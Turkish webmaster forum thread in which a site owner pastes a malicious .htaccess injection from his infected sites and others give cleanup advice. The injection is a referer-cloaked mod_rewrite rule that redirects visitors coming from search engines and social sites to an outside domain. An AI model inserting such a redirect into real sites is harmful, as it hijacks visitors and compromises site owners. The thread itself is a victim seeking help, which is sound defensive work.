• 04-06-2013, 15:06:23
    #1
    Üyeliği durduruldu
    Merhaba Arkadaşlar

    Başıma Bir Trojen Belası Takıldı Bütün Sitelerimi sildim Tekrar Attım Bilgisayarıma Format Attım Kurtulamıyorum deliricem artık. Lütfen Bana Bu Konu Hakkında Fikir Verin Veya Ücretli Yapıcak Olan Arkadaş Varsa yardımcı Olsun Lütfen

    htaccess İçerisine Bulaşıyor Farklı Bir Konuda da Footer Veya Javascript Dosyalarına Bulaşıyor.


    #0c0896#
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
    RewriteRule ^(.*)$ http://millszimer.co.il/count.php [R=301,L]
    </IfModule>
    
    #/0c0896#
  • 04-06-2013, 15:18:39
    #2
    Eğer hardiskinde C:\ ve D:\ gibi iki bölüm varsa,
    sen c sürücüsüne format atsan bile bazen D sürücüsünden tekrar c sürücüsüne kendini kopyalar.

    http://www.safer-networking.org/mirrors/

    spybot ile bir tarama yap.

    Kaspersky Pure kur bilgisayarına maden format attın 30 günlük trial kullan.
  • 04-06-2013, 15:25:53
    #3
    hocam size bu konuda en iyi yardim edecek site doctus tur. ordaki yonergeleri uygularsaniz buyuk ihtimalle kurtulursunuz.
  • 04-06-2013, 15:28:03
    #4
    Üyeliği durduruldu
    radmin teşekkür ederim ama bilgisayarımda bir şey bırakmadım full olarak format attım. Bütün Web sitelerimin Yedeklerini Aldım ve Virüs Taramasına Soktum Taramada Olan Bir Şey Cıkmadı Kasper Lisansı Aldım. Deneme Sürümü İle Uğraşmak istemedim.
    Spybot Bir Dönem Kullanmıştım Kendi Kendini Bile Virüs Gören bir Program Kasper Bence En iyisi ama Hala Daha Web Sitelerimde Bu Sorunlar devam Etmektedir.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 15:28:03 -->-> Daha önceki mesaj 15:26:15 --

    lenfom adlı üyeden alıntı: mesajı görüntüle
    hocam size bu konuda en iyi yardim edecek site doctus tur. ordaki yonergeleri uygularsaniz buyuk ihtimalle kurtulursunuz.
    bu Sitede Bir Yönerge Bulamadım Yardımcı Olurmusunuz.
  • 04-06-2013, 17:20:07
    #5
    sitelerinden manuel kaldıracaksın kodu. bu tarz malware'ler genelde
    index.*
    default.*

    dosyalarına kod ekliyor. Sen komple format attıysan bir daha bişey olmaz.
    ftp ile sitelerine bağlanıp kod ekliyor bu tarz zararlı yazılımlar.
    ftp şifreni degiştir bişey olmaz bir daha